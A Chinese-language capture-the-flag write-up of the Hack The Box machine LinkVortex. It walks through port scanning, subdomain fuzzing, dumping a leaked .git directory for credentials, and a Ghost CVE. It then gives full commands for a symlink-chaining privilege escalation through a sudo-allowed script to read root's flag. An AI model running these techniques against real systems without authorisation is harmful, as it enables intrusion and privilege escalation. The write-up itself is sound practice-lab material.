端口扫描
1 2 3
| nmap -sCV -A -T4 10.10.11.47
|

可以发现扫到了域名,那么就是写入hosts
子域名爆破
1 2 3
| ffuf -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil-20000.txt -u http://linkvortex.htb/ -H "Host:FUZZ.linkvortex.htb" -mc 200
|
ffuf工具用法参考:https://blog.csdn.net/weixin_44288604/article/details/128444485

扫描出一个dev子域名同样也加入到hosts里面
目录扫描
1 2 3
| dirsearch -u http://linkvortex.htb/
|
扫描出来有个robots.txt

看到有个ghost进去看看发现是个登录页面,所以需要找到账户和密码,再去扫描子域名
1 2 3
| dirsearch -u http://dev.linkvortex.htb/
|

发现了git泄漏
Git泄漏
直接用githack
1 2 3
| python2 GitHack.py http://dev.linkvortex.htb/.git/
|

可以在里面找到登录的用户名密码
CVE-CVE-2023-40028
这里就是漏洞脚本主要就是改里面的地址就可以了

然后看docker里的文件能看到ssh用户密码
连上之后sudo -l
检查 Bob 的命令权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
|
查看这个 /opt/ghost/clean_symlink.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
|
如果文件名后缀是** **.png**
,并且文件是符号链接,且目标路径 不包含 **etc**
或 ****root**
(即目标不是敏感文件),脚本会:
然后创建符号链接,连接到 root.txt 下,由于脚本会检查参数,可以使用二次链接来进行绕过,同时将 CHECK_CONTENT
设置为 true
1 2 3 4 5 6 7
| bob@linkvortex:~$ ln -s /root/root.txt hyh.txt
bob@linkvortex:~$ ln -s /home/bob/hyh.txt hyh.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/hyh.png
|
参考:https://www.hyhforever.top/htb-linkvortex/